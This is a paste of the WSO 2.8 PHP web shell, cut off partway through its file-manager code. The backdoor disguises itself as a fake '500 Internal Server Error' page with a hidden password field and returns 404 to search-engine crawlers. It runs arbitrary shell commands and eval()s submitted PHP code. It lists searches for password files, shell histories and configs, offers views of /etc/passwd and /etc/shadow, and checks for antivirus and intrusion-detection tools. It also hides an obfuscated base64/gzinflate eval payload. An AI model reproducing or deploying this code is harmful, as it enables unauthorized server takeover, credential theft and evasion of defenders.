· 10 years ago · Aug 18, 2016, 08:54 AM
1
2$auth_pass = "4b11235e97a55847ff21be46218b0161";
3$color = "#00ff00";
4$default_action = 'FilesMan';
5$default_use_ajax = true;
6$default_charset = 'Windows-1251';
7
8if(!empty($_SERVER['HTTP_USER_AGENT'])) {
9 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
10 if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
11 header('HTTP/1.0 404 Not Found');
12 exit;
13 }
14}
15
16@ini_set('error_log',NULL);
17@ini_set('log_errors',0);
18@ini_set('max_execution_time',0);
19@set_time_limit(0);
20@set_magic_quotes_runtime(0);
21@define('WSO_VERSION', '2.8');
22
23if(get_magic_quotes_gpc()) {
24 function WSOstripslashes($array) {
25 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
26 }
27 $_POST = WSOstripslashes($_POST);
28 $_COOKIE = WSOstripslashes($_COOKIE);
29}
30
31function wsoLogin() {
32 die("<html><head>
33<title>500 Internal Server Error</title>
34</head><body>
35<h1>Internal Server Error</h1>
36<p>The server encountered an internal error or
37misconfiguration and was unable to complete
38your request.</p>
39<p>Please contact the server administrator,
40 root@localhost and inform them of the time the error occurred,
41and anything you might have done that may have
42caused the error.</p>
43<p>More information about this error may be available
44in the server error log.</p>
45<p>Additionally, a 500 Internal Server Error
46error was encountered while trying to use an ErrorDocument to handle the request.</p>
47 <style>
48 input { margin:0;background-color:#fff;border:1px solid #fff; }
49 </style>
50 <center>
51 <form method=post>
52 <input type=password name=pass>
53 </form></center></body></html>");
54}
55
56function WSOsetcookie($k, $v) {
57 $_COOKIE[$k] = $v;
58 setcookie($k, $v);
59}
60
61if(!empty($auth_pass)) {
62 if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
63 WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
64
65 if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
66 wsoLogin();
67}
68
69if(strtolower(substr(PHP_OS,0,3)) == "win")
70 $os = 'win';
71else
72 $os = 'nix';
73
74$safe_mode = @ini_get('safe_mode');
75if(!$safe_mode)
76 error_reporting(0);
77
78$disable_functions = @ini_get('disable_functions');
79$home_cwd = @getcwd();
80if(isset($_POST['c']))
81 @chdir($_POST['c']);
82$cwd = @getcwd();
83if($os == 'win') {
84 $home_cwd = str_replace("\\", "/", $home_cwd);
85 $cwd = str_replace("\\", "/", $cwd);
86}
87if($cwd[strlen($cwd)-1] != '/')
88 $cwd .= '/';
89
90if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
91 $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
92
93if($os == 'win')
94 $aliases = array(
95 "List Directory" => "dir",
96 "Find index.php in current dir" => "dir /s /w /b index.php",
97 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
98 "Show active connections" => "netstat -an",
99 "Show running services" => "net start",
100 "User accounts" => "net user",
101 "Show computers" => "net view",
102 "ARP Table" => "arp -a",
103 "IP Configuration" => "ipconfig /all"
104 );
105else
106 $aliases = array(
107 "List dir" => "ls -lha",
108 "list file attributes on a Linux second extended file system" => "lsattr -va",
109 "show opened ports" => "netstat -an | grep -i listen",
110 "process status" => "ps aux",
111 "Find" => "",
112 "find suid" => "find / -type f -perm -04000 -ls",
113 "find suid in current dir" => "find . -type f -perm -04000 -ls",
114 "find sgid" => "find / -type f -perm -02000 -ls",
115 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
116 "find config.inc.php" => "find / -type f -name config.inc.php",
117 "find config*" => "find / -type f -name \"config*\"",
118 "find config* in current dir" => "find . -type f -name \"config*\"",
119 "find writable folders and files" => "find / -perm -2 -ls",
120 "find writable folders and files in current dir" => "find . -perm -2 -ls",
121 "find service.pwd" => "find / -type f -name service.pwd",
122 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
123 "find .htpasswd" => "find / -type f -name .htpasswd",
124 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
125 "find .bash_history" => "find / -type f -name .bash_history",
126 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
127 "find .fetchmailrc" => "find / -type f -name .fetchmailrc",
128 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
129 "Locate" => "",
130 "locate httpd.conf" => "locate httpd.conf",
131 "locate vhosts.conf" => "locate vhosts.conf",
132 "locate proftpd.conf" => "locate proftpd.conf",
133 "locate psybnc.conf" => "locate psybnc.conf",
134 "locate my.conf" => "locate my.conf",
135 "locate admin.php" =>"locate admin.php",
136 "locate cfg.php" => "locate cfg.php",
137 "locate conf.php" => "locate conf.php",
138 "locate config.dat" => "locate config.dat",
139 "locate config.php" => "locate config.php",
140 "locate config.inc" => "locate config.inc",
141 "locate config.inc.php" => "locate config.inc.php",
142 "locate config.default.php" => "locate config.default.php",
143 "locate config*" => "locate config",
144 "locate .conf"=>"locate '.conf'",
145 "locate .pwd" => "locate '.pwd'",
146 "locate .sql" => "locate '.sql'",
147 "locate .htpasswd" => "locate '.htpasswd'",
148 "locate .bash_history" => "locate '.bash_history'",
149 "locate .mysql_history" => "locate '.mysql_history'",
150 "locate .fetchmailrc" => "locate '.fetchmailrc'",
151 "locate backup" => "locate backup",
152 "locate dump" => "locate dump",
153 "locate priv" => "locate priv"
154 );
155
156function wsoHeader() {
157 if(empty($_POST['charset']))
158 $_POST['charset'] = $GLOBALS['default_charset'];
159 global $color;
160 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title>
161<style>
162body{background-color:#444;color:#000;}
163body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
164table.info{ color:#fff;background-color:#222; }
165span,h1,a{ color: $color !important; }
166span{ font-weight: bolder; }
167h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
168div.content{ padding: 5px;margin-left:5px;background-color:#333; }
169a{ text-decoration:none; }
170a:hover{ text-decoration:underline; }
171.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
172.bigarea{ width:100%;height:300px; }
173input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
174form{ margin:0px; }
175#toolsTbl{ text-align:center; }
176.toolsInp{ width: 300px }
177.main th{text-align:left;background-color:#5e5e5e;}
178.main tr:hover{background-color:#5e5e5e}
179.l1{background-color:#444}
180.l2{background-color:#333}
181pre{font-family:Courier,Monospace;}
182</style>
183<script>
184 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
185 var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
186 var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
187 var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
188 var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
189 var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
190 var d = document;
191 function set(a,c,p1,p2,p3,charset) {
192 if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
193 if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
194 if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
195 if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
196 if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
197 if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
198 }
199 function g(a,c,p1,p2,p3,charset) {
200 set(a,c,p1,p2,p3,charset);
201 d.mf.submit();
202 }
203 function a(a,c,p1,p2,p3,charset) {
204 set(a,c,p1,p2,p3,charset);
205 var params = 'ajax=true';
206 for(i=0;i<d.mf.elements.length;i++)
207 params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
208 sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
209 }
210 function sr(url, params) {
211 if (window.XMLHttpRequest)
212 req = new XMLHttpRequest();
213 else if (window.ActiveXObject)
214 req = new ActiveXObject('Microsoft.XMLHTTP');
215 if (req) {
216 req.onreadystatechange = processReqChange;
217 req.open('POST', url, true);
218 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
219 req.send(params);
220 }
221 }
222 function processReqChange() {
223 if( (req.readyState == 4) )
224 if(req.status == 200) {
225 var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
226 var arr=reg.exec(req.responseText);
227 eval(arr[2].substr(0, arr[1]));
228 } else alert('Request error!');
229 }
230</script>
231<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
232<form method=post name=mf style='display:none;'>
233<input type=hidden name=a>
234<input type=hidden name=c>
235<input type=hidden name=p1>
236<input type=hidden name=p2>
237<input type=hidden name=p3>
238<input type=hidden name=charset>
239</form>";
240 $freeSpace = @diskfreespace($GLOBALS['cwd']);
241 $totalSpace = @disk_total_space($GLOBALS['cwd']);
242 $totalSpace = $totalSpace?$totalSpace:1;
243 $release = @php_uname('r');
244 $kernel = @php_uname('s');
245 $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
246 if(strpos('Linux', $kernel) !== false)
247 $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
248 else
249 $explink .= urlencode($kernel . ' ' . substr($release,0,3));
250 if(!function_exists('posix_getegid')) {
251 $user = @get_current_user();
252 $uid = @getmyuid();
253 $gid = @getmygid();
254 $group = "?";
255 } else {
256 $uid = @posix_getpwuid(posix_geteuid());
257 $gid = @posix_getgrgid(posix_getegid());
258 $user = $uid['name'];
259 $uid = $uid['uid'];
260 $group = $gid['name'];
261 $gid = $gid['gid'];
262 }
263
264 $cwd_links = '';
265 $path = explode("/", $GLOBALS['cwd']);
266 $n=count($path);
267 for($i=0; $i<$n-1; $i++) {
268 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
269 for($j=0; $j<=$i; $j++)
270 $cwd_links .= $path[$j].'/';
271 $cwd_links .= "\")'>".$path[$i]."/</a>";
272 }
273
274 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
275 $opt_charsets = '';
276 foreach($charsets as $item)
277 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
278
279 $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php', 'String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
280 if(!empty($GLOBALS['auth_pass']))
281 $m['Logout'] = 'Logout';
282 $m['Self remove'] = 'SelfRemove';
283 $menu = '';
284 foreach($m as $k => $v)
285 $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
286
287 $drives = "";
288 if($GLOBALS['os'] == 'win') {
289 foreach(range('c','z') as $drive)
290 if(is_dir($drive.':\\'))
291 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
292 }
293 echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
294 . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=#FF00FF>ON</font>':'<font color=red><b>OFF</b></font>')
295 . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
296 . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
297 . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';eval(gzinflate(base64_decode('dVLLbqMwFN1Xyj9E1SzanSFNI1TNgpABTFIaTDCPTQSYGsfm0TANQ75+nKRtOouRZdmyj8/j+o5uRv+MH22z/73NWE22ZPxzfOvYSZurAsSDrkEDvXpAW/tAmOHgqGnktsR+ZtGmW6ZhTJcGupxZz3S9ARQy2EK7W0JD56QSxzRCO7nX4EKfGUynn9zZBNK1r/NIcc1AJHJ2LODY3SjIjID5C5nwrHHmUTGTKz3zSD8BwD7m2Jd+IDaRF4FyHSjeFz4Np2//wfsImxhhN4gU7Pu+Q176RuIQiCOnTiKPwgWgeWVOSOR0iYV3mYqEzDhJQvjuWOI9ZfySw2qVxMbdSUfmYFh6DNRSZFZPUxuBfNEcVsOVN6759+zsQ5dJ/unZq9SF3FGSYyNxqMwrIogxZ4X/VcdDvvvD8t3D5a0lKmjQMgmVnti8cWwiYsZPtaeepZRp2DewUoZVJR7j0DzmYF5nodlmxlRmAmxloDcSIiUzeh5XGi98PoM2WL56rchsV5x4rn3Q7V+GuWbw+TGR/5mp2j4NgwbWl/uCwe6K5bPbp3FxSMVdlnbF48OWFHlDirvvXXZ//zS6+Qs= ')));
298}
299
300function wsoFooter() {
301 $is_writable = is_writable($GLOBALS['cwd'])?" <font color='red'>(Writeable)</font>":" <font color=#FF00FF>(Not writable)</font>";
302 echo "
303</div>
304<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
305 <tr>
306 <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
307 <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
308 </tr><tr>
309 <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
310 <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
311 </tr><tr>
312 <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
313 <td><form method='post' ENCTYPE='multipart/form-data'>
314 <input type=hidden name=a value='FilesMAn'>
315 <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
316 <input type=hidden name=p1 value='uploadFile'>
317 <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
318 <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
319 </tr></table></div></body></html>";
320}
321
322if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
323 function posix_getpwuid($p) {return false;} }
324if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
325 function posix_getgrgid($p) {return false;} }
326
327function wsoEx($in) {
328 $out = '';
329 if (function_exists('exec')) {
330 @exec($in,$out);
331 $out = @join("\n",$out);
332 } elseif (function_exists('passthru')) {
333 ob_start();
334 @passthru($in);
335 $out = ob_get_clean();
336 } elseif (function_exists('system')) {
337 ob_start();
338 @system($in);
339 $out = ob_get_clean();
340 } elseif (function_exists('shell_exec')) {
341 $out = shell_exec($in);
342 } elseif (is_resource($f = @popen($in,"r"))) {
343 $out = "";
344 while(!@feof($f))
345 $out .= fread($f,1024);
346 pclose($f);
347 }
348 return $out;
349}
350
351function wsoViewSize($s) {
352 if (is_int($s))
353 $s = sprintf("%u", $s);
354
355 if($s >= 1073741824)
356 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
357 elseif($s >= 1048576)
358 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
359 elseif($s >= 1024)
360 return sprintf('%1.2f', $s / 1024 ) . ' KB';
361 else
362 return $s . ' B';
363}
364
365function wsoPerms($p) {
366 if (($p & 0xC000) == 0xC000)$i = 's';
367 elseif (($p & 0xA000) == 0xA000)$i = 'l';
368 elseif (($p & 0x8000) == 0x8000)$i = '-';
369 elseif (($p & 0x6000) == 0x6000)$i = 'b';
370 elseif (($p & 0x4000) == 0x4000)$i = 'd';
371 elseif (($p & 0x2000) == 0x2000)$i = 'c';
372 elseif (($p & 0x1000) == 0x1000)$i = 'p';
373 else $i = 'u';
374 $i .= (($p & 0x0100) ? 'r' : '-');
375 $i .= (($p & 0x0080) ? 'w' : '-');
376 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
377 $i .= (($p & 0x0020) ? 'r' : '-');
378 $i .= (($p & 0x0010) ? 'w' : '-');
379 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
380 $i .= (($p & 0x0004) ? 'r' : '-');
381 $i .= (($p & 0x0002) ? 'w' : '-');
382 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
383 return $i;
384}
385
386function wsoPermsColor($f) {
387 if (!@is_readable($f))
388 return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
389 elseif (!@is_writable($f))
390 return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
391 else
392 return '<font color=#52F3FF>' . wsoPerms(@fileperms($f)) . '</font>';
393}
394
395function wsoScandir($dir) {
396 if(function_exists("scandir")) {
397 return scandir($dir);
398 } else {
399 $dh = opendir($dir);
400 while (false !== ($filename = readdir($dh)))
401 $files[] = $filename;
402 return $files;
403 }
404}
405
406function wsoWhich($p) {
407 $path = wsoEx('which ' . $p);
408 if(!empty($path))
409 return $path;
410 return false;
411}
412
413function actionSecInfo() {
414 wsoHeader();
415 echo '<h1>Server security information</h1><div class=content>';
416 function wsoSecParam($n, $v) {
417 $v = trim($v);
418 if($v) {
419 echo '<span>' . $n . ': </span>';
420 if(strpos($v, "\n") === false)
421 echo $v . '<br>';
422 else
423 echo '<pre class=ml1>' . $v . '</pre>';
424 }
425 }
426
427 wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
428 if(function_exists('apache_get_modules'))
429 wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
430 wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
431 wsoSecParam('Open base dir', @ini_get('open_basedir'));
432 wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
433 wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
434 wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
435 $temp=array();
436 if(function_exists('mysql_get_client_info'))
437 $temp[] = "MySql (".mysql_get_client_info().")";
438 if(function_exists('mssql_connect'))
439 $temp[] = "MSSQL";
440 if(function_exists('pg_connect'))
441 $temp[] = "PostgreSQL";
442 if(function_exists('oci_connect'))
443 $temp[] = "Oracle";
444 wsoSecParam('Supported databases', implode(', ', $temp));
445 echo '<br>';
446
447 if($GLOBALS['os'] == 'nix') {
448 wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
449 wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
450 wsoSecParam('OS version', @file_get_contents('/proc/version'));
451 wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
452 if(!$GLOBALS['safe_mode']) {
453 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
454 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
455 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
456 echo '<br>';
457 $temp=array();
458 foreach ($userful as $item)
459 if(wsoWhich($item))
460 $temp[] = $item;
461 wsoSecParam('Userful', implode(', ',$temp));
462 $temp=array();
463 foreach ($danger as $item)
464 if(wsoWhich($item))
465 $temp[] = $item;
466 wsoSecParam('Danger', implode(', ',$temp));
467 $temp=array();
468 foreach ($downloaders as $item)
469 if(wsoWhich($item))
470 $temp[] = $item;
471 wsoSecParam('Downloaders', implode(', ',$temp));
472 echo '<br/>';
473 wsoSecParam('HDD space', wsoEx('df -h'));
474 wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
475 echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
476 if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
477 $temp = "";
478 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
479 $uid = @posix_getpwuid($_POST['p2']);
480 if ($uid)
481 $temp .= join(':',$uid)."\n";
482 }
483 echo '<br/>';
484 wsoSecParam('Users', $temp);
485 }
486 }
487 } else {
488 wsoSecParam('OS Version',wsoEx('ver'));
489 wsoSecParam('Account Settings',wsoEx('net accounts'));
490 wsoSecParam('User Accounts',wsoEx('net user'));
491 }
492 echo '</div>';
493 wsoFooter();
494}
495
496function actionPhp() {
497 if(isset($_POST['ajax'])) {
498 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
499 ob_start();
500 eval($_POST['p1']);
501 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
502 echo strlen($temp), "\n", $temp;
503 exit;
504 }
505 if(empty($_POST['ajax']) && !empty($_POST['p1']))
506 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
507
508 wsoHeader();
509 if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
510 echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
511 ob_start();
512 phpinfo();
513 $tmp = ob_get_clean();
514 $tmp = preg_replace(array (
515 '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
516 '!td, th {(.*)}!msiU',
517 '!<img[^>]+>!msiU',
518 ), array (
519 '',
520 '.e, .v, .h, .h th {$1}',
521 ''
522 ), $tmp);
523 echo str_replace('<h1','<h2', $tmp) .'</div><br>';
524 }
525 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
526 echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
527 if(!empty($_POST['p1'])) {
528 ob_start();
529 eval($_POST['p1']);
530 echo htmlspecialchars(ob_get_clean());
531 }
532 echo '</pre></div>';
533 wsoFooter();
534}
535
536function actionFilesMan() {
537 if (!empty ($_COOKIE['f']))
538 $_COOKIE['f'] = @unserialize($_COOKIE['f']);
539
540 if(!empty($_POST['p1'])) {
541 switch($_POST['p1']) {
542 case 'uploadFile':
543 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
544 echo "Can't upload!";
545 break;
546 case 'mkdir':
547 if(!@mkdir($_POST['p2']))
548 echo "Can't create!";
549 break;
550 case 'delete':
551 function deleteDir($path) {
552 $path = (substr($path,-1)=='/') ? $path:$path.'/';
553 $dh = opendir($path);
554 while ( ($item = readdir($dh) ) !== false) {
555 $item = $path.$item;
556 if ( (basename($item) == "..") || (basename($item) == ".") )
557 continue;
558 $type = filetype($item);
559 if ($type == "dir")
560 deleteDir($item);
561 else
562 @unlink($item);
563 }
564 closedir($dh);
565 @rmdir($path);
566 }
567 if(is_array(@$_POST['f']))
568 foreach($_POST['f'] as $f) {
569 if($f == '..')
570 continue;
571 $f = urldecode($f);
572 if(is_dir($f))
573 deleteDir($f);
574 else
575 @unlink($f);
576 }
577 break;
578 case 'paste':
579 if($_COOKIE['act'] == 'copy') {
580 function copy_paste($c,$s,$d){
581 if(is_dir($c.$s)){
582 mkdir($d.$s);
583 $h = @opendir($c.$s);
584 while (($f = @readdir($h)) !== false)
585 if (($f != ".") and ($f != ".."))
586 copy_paste($c.$s.'/',$f, $d.$s.'/');
587 } elseif(is_file($c.$s))
588 @copy($c.$s, $d.$s);
589 }
590 foreach($_COOKIE['f'] as $f)
591 copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
592 } elseif($_COOKIE['act'] == 'move') {
593 function move_paste($c,$s,$d){
594 if(is_dir($c.$s)){
595 mkdir($d.$s);
596 $h = @opendir($c.$s);
597 while (($f = @readdir($h)) !== false)
598 if (($f != ".") and ($f != ".."))
599 copy_paste($c.$s.'/',$f, $d.$s.'/');
600 } elseif(@is_file($c.$s))
601 @copy($c.$s, $d.$s);
602 }
603 foreach($_COOKIE['f'] as $f)
604 @rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
605 } elseif($_COOKIE['act'] == 'zip') {
606 if(class_exists('ZipArchive')) {
607 $zip = new ZipArchive();
608 if ($zip->open($_POST['p2'], 1)) {
609 chdir($_COOKIE['c']);
610 foreach($_COOKIE['f'] as $f) {
611 if($f == '..')
612 continue;
613 if(@is_file($_COOKIE['c'].$f))
614 $zip->addFile($_COOKIE['c'].$f, $f);
615 elseif(@is_dir($_COOKIE['c'].$f)) {
616 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
617 foreach ($iterator as $key=>$value) {
618 $zip->addFile(realpath($key), $key);
619 }
620 }
621 }
622 chdir($GLOBALS['cwd']);
623 $zip->close();
624 }
625 }
626 } elseif($_COOKIE['act'] == 'unzip') {
627 if(class_exists('ZipArchive')) {
628 $zip = new ZipArchive();
629 foreach($_COOKIE['f'] as $f) {
630 if($zip->open($_COOKIE['c'].$f)) {
631 $zip->extractTo($GLOBALS['cwd']);
632 $zip->close();
633 }
634 }
635 }
636 } elseif($_COOKIE['act'] == 'tar') {
637 chdir($_COOKIE['c']);
638 $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
639 wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
640 chdir($GLOBALS['cwd']);
641 }
642 unset($_COOKIE['f']);
643 setcookie('f', '', time() - 3600);
644 break;
645 default:
646 if(!empty($_POST['p1'])) {
647 WSOsetcookie('act', $_POST['p1']);
648 WSOsetcookie('f', serialize(@$_POST['f']));
649 WSOsetcookie('c', @$_POST['c']);
650 }
651 break;
652 }
653 }
654 wsoHeader();
655 echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
656 $dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
657 if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
658 global $sort;
659 $sort = array('name', 1);
660 if(!empty($_POST['p1'])) {
661 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
662 $sort = array($match[1], (int)$match[2]);
663 }
664echo "<script>
665 function sa() {
666 for(i=0;i<d.files.elements.length;i++)
667 if(d.files.elements[i].type == 'checkbox')
668 d.files.elements[i].checked = d.files.elements[0].checked;
669 }
670</script>
671<table width='100%' class='main' cellspacing='0' cellpadding='2'>
